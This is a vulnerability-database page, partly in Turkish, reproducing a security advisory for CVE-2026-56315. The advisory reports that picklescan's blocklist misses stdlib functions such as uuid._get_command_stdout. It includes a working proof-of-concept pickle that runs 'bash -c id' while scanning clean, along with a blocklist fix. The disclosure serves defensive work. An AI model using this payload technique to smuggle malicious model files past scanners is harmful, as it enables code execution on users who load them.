PickleScan has multiple stdlib modules with direct RCE not in blocklist
CVSS Skor
9.8
EPSS İhtimal
%1.1
Risk Skoru
0.1
Yayın
7 ay önce
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CVE-2026-56315 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.
## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`
IMPACT — Etkilenen Ürünler ve Yazılımlar
Affected Products
The following products are affected by CVE-2026-56315 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.
| ID | VENDOR | PRODUCT | ACTION |
|---|---|---|---|
| 1 | pypi | picklescan | İncele |
RED HAT CSAF/VEX — Ürün Etki Kontrolü
SCORING — CVSS Çoklu Kaynak Skoru
CVSS Scores
The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 9.8 | CVSS 3.x | — | Vektör yayımlanmadı | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vektör yayımlanmadı | GitHub Advisory |
Yama ve İyileştirme Rehberi (Solution)
Solution & Remediation Advisory
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Public exploit ve aktif sömürü durumu
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Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-56315 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-56315 weaknesses.
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